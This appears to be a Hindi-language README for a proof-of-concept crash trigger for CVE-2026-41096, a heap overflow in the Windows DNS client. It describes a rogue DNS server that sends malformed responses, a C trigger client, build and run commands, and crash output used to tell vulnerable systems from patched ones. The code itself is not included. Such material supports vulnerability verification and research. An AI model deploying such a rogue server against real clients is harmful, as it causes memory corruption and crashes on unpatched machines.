
CVE-2026-41096: Heap Overflow in the Windows DNS Client
DnsRawTruncateMessageForUdp() (dnsapi.dll) में हीप ओवरफ़्लो। एक निर्मित DNS प्रतिक्रिया जिसमें QDCOUNT=0 और एक बड़ा OPT रिकॉर्ड है, जब ट्रंकेशन तर्क गंतव्य पॉइंटर की गलत गणना करता है तो 604-बाइट का हीप ओवरफ़्लो होता है।
MSRC सलाह: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| फ़ाइल | विवरण |
|---|---|
rogue_dns_server.py | रोग DNS सर्वर (Python 3). हर क्वेरी का QDCOUNT=0 + OPT प्रतिक्रिया (623 बाइट्स) के साथ उत्तर देता है। |
trigger_client.c | ट्रिगर क्लाइंट (C/Win32). रोग सर्वर की ओर इंगित DnsQueryRaw को कॉल करता है। SetUnhandledExceptionFilter के माध्यम से क्रैश को पकड़ता है। |
हमलावर (रोग सर्वर):
पीड़ित (ट्रिगर क्लाइंट):
DnsQueryRaw आवश्यक)dnsapi.dll का कमजोर संस्करण1. रोग सर्वर शुरू करें:
sudo python3 rogue_dns_server.py
2. ट्रिगर क्लाइंट बनाएँ और चलाएँ:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (वैकल्पिक) निर्धारित क्रैश के लिए पेज हीप सक्षम करें:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| कोड | अर्थ |
|---|---|
| 0 | सिस्टम पैच किया गया है (DNS_ERROR_BAD_PACKET साफ-साफ लौटाया गया) |
| 1 | त्रुटि (DnsQueryRaw नहीं मिला, नेटवर्क समस्या, आदि) |
| 2 | क्रैश का पता चला (हीप ओवरफ़्लो की पुष्टि हुई) |
कमजोर (पेज हीप):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
कमजोर (कोई पेज हीप नहीं):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
पैच किया गया:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.